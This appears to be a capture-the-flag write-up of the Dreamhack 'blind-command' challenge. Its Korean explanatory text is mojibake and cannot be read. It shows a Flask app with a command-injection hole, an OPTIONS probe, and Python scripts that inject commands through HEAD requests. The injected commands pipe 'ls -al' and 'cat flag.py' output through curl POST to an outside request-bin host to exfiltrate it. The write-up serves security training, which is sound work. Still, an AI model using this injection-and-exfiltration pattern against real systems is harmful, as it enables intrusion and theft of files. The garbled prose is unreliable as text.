[Dreamhack] Level 2: blind-command
1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/73
blind-command
Read the flag file XD Reference Web Hacking
dreamhack.io
flag file์ ์ฝ์ผ๋ผ๊ณ ๋์ด์๋ค.
2. ํด๊ฒฐ ๊ณผ์
(1) ๋ฌธ์ ํ์ด์ง ํ์ธ
?cmd=hi๋ฅผ ์ฃผ๋ฉด ํ๋ฉด์ ๊ทธ๋๋ก ๋ฌธ์์ด์ด ์ถ๋ ฅ๋๋ค.
(2) ์ฝ๋ ํ์ธ
cmd์ ์ฟผ๋ฆฌ๊ฐ์ ๋ฐ์ ์คํํ๋ ์ ํ์ ์ธ command injection ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ ํ์ด์ง์ด๋ค.
๊ทธ๋ฌ๋ GET ์ผ๋ก ์์ฒญ์ ๋ฐ์์ฌ ๋๊ฐ ์๋๋ผ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก cmd๊ฐ์ ์ค ๋๋ง ์ด๋ฅผ ์คํํ๋ ๊ฒ์ด๋ค.
๋ํ ์คํ ๊ฒฐ๊ณผ๋ฅผ ๋ธ๋ผ์ฐ์ ์์ ํ์ธํ ์ ์๋ค.
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
๋ฐ๋ผ์ POST ๋ฉ์๋๋ก ls-al์ ์คํํด๋ณด๊ณ ๋ด ์๋ฒ์ ๊ทธ ๊ฒฐ๊ณผ๊ฐ์ ๋ณด๋ด๋๋ก ์์ฒญ์ ๋ณด๋ด๋ณด๋ ์ฝ๋๋ฅผ ์์ฑํด๋ณด์์ง๋ง, ์๋ฒ์์ POST ์์ฒญ์ ํ์ฉํ์ง ์๋๋ค๊ณ ํ๋ค.
๊ทธ๋์ OPTIONS ์์ฒญ์ ๋ณด๋ด์ ์ด๋ค ๋ฉ์๋๊ฐ ํ์ฉ๋๋์ง ํ์ธํด๋ณด์๋ค.
๊ทธ ๊ฒฐ๊ณผ GET, HEAD, OPTIONS ๋ฉ์๋๋ฅผ ํ์ฉํ๊ณ ์๋ ๊ฒ์ ์ ์ ์์๋ค.
(HTTP HEAD method๋ GET method๊ฐ ํ์ฉ๋๋ ๊ณณ์๋ ๋ฐ๋์ ํ์ฉ๋๋ค.)
import requests
url = 'http://host3.dreamhack.games:24513/'
try:
response = requests.options(url)
# ์๋ต ์ถ๋ ฅ
if 'allow' in response.headers:
allowed_methods = response.headers['allow']
print(f'Supported methods for {url}: {allowed_methods}')
else:
print(f'No allowed methods information found in response headers.')
except requests.exceptions.RequestException as e:
print(f'An error occurred: {e}')
์ดํ์๋ GET ๋ฉ์๋์ ๋ํ ์ฐํ๋ฅผ ๊ตฌ๊ธ๋งํด๋ณด์๋ค.
์ฐธ๊ณ ๋ธ๋ก๊ทธ โผ
https://www.hahwul.com/2019/11/22/get-head-vuln-on-rails/
Check logic vulnerability point using GET/HEAD in Ruby on Rails
์ต๊ทผ์ Github OAuth flow bypass ์ทจ์ฝ์ ์ด ๊ณต๊ฐ๋์์ต๋๋ค. ์ด ์ทจ์ฝ์ ์ Rails ์ฑ์ ํน์ฑ์ ์ด์ฉํ ์ทจ์ฝ์ ์ด๊ณ , Github๋ง์ ๋ฌธ์ ๊ฐ ์๋๊ณ ํจ์น๋ก ๋ชจ๋ Rails ์ฑ์ ๋ณดํธํ ์๋ ์์ต๋๋ค. Today, I going to review
www.hahwul.com
https://blog.teddykatz.com/2019/11/05/github-oauth-bypass.html
Bypassing GitHub’s OAuth flow
For the past few years, security research has been something I’ve done in my spare time. I know there are people that make a living off of bug bounty programs, but I’ve personally just spent a few hours here and there whenever I feel like it.
blog.teddykatz.com
HEAD๋ฉ์๋๋ ์ผ๋ฐ์ ์ผ๋ก GET ๋ฉ์๋์ ์ ์ฌํ๊ฒ ์์ฒญ์ ๋ณด๋ด์ง์ง๋ง, body๊ฐ์ด ์กด์ฌํ์ง ์๋๋ค.
์ค์ํ ๊ฒ์ ๊ฒฐ๊ตญ ์๋ฒ์์๋ HEAD ์์ฒญ์ ๋ํด์๋ GET ์์ฒญ์ด์์ ๋์ ๋์ผํ ํค๋ ํ๋๋ฅผ ์๋ต์ผ๋ก ๋ณด๋ด์ผ ํ๋ค๋ ๊ฒ์ด๋ค.
- ๋จ, ํ์ด๋ก๋ ํค๋ ํ๋(์: Content-Length)๋ ์๋ต๋ ์ ์๋ค.
์ด๋ ๊ฒ ํ์ด๋ก๋ ์คํ์ HEAD์์ฒญ์ผ๋ก ์งํํ ์ ์์ง๋ง, ์ฐ๋ฆฌ๋ ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ์๊ธฐ ์ํด์ body๊ฐ์ ๋ด์ฉ์ ๋ฐ์์์ผ ํ๋ค.
๋ฐ๋ผ์, ์๋ฒ์๋ HEAD์์ฒญ์ ๋ณด๋ด๊ณ , ๊ทธ ๊ฒฐ๊ณผ๋ฅผ POST ์์ฒญ์ผ๋ก ๋ด๊ฐ ์ง์ ํ ์๋ฒ์ ์ ์กํ ์ ์๋๋ก ์คํฌ๋ฆฝํธ๋ฅผ ์งค ์ ์๋ค.
ls -al์ ์คํํ๊ณ ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ๋ด ์๋ฒ์ ๋ณด๋ด๋ ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํ์๋ค.
import requests
url = 'http://host3.dreamhack.games:24513/?cmd='
target_server = 'https://sbqbwyf.request.dreamhack.games/'
cmd = 'ls -al'
full_cmd = f"{cmd} | curl -X POST -d @- {target_server}"
encoded_cmd = requests.utils.quote(full_cmd)
full_url = f"{url}{encoded_cmd}"
try:
response = requests.head(full_url)
print(f"Response headers: {response.headers}")
print(f"Response status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"An error occurred: {e}")
์คํ ๊ฒฐ๊ณผ, ํ๋๊ทธ ํ์ผ(flag.py)์ ํ์ธํ ์ ์์๋ค.
๋ฐ๋ผ์ ์ด ํ์ผ์ ์ฝ์ด์ค๋ ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํ์ฌ ์คํํด๋ณด๋ฉด ๋ ๊ฒ ๊ฐ๋ค.
cat์ ํตํด flag.py ํ์ผ์ ์ฝ๊ณ ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ์ง์ ์๋ฒ๋ก ๋ณด๋ด๋ ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํ์๋ค.
import requests
url = 'http://host3.dreamhack.games:24513/?cmd='
target_server = 'https://sbqbwyf.request.dreamhack.games/'
cmd = 'cat flag.py'
full_cmd = f"{cmd} | curl -X POST -d @- {target_server}"
encoded_cmd = requests.utils.quote(full_cmd)
full_url = f"{url}{encoded_cmd}"
try:
response = requests.head(full_url)
print(f"Response headers: {response.headers}")
print(f"Response status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"An error occurred: {e}")
๊ทธ ๊ฒฐ๊ณผ ํ๋๊ทธ๋ฅผ ์ป์ ์ ์์๋ค.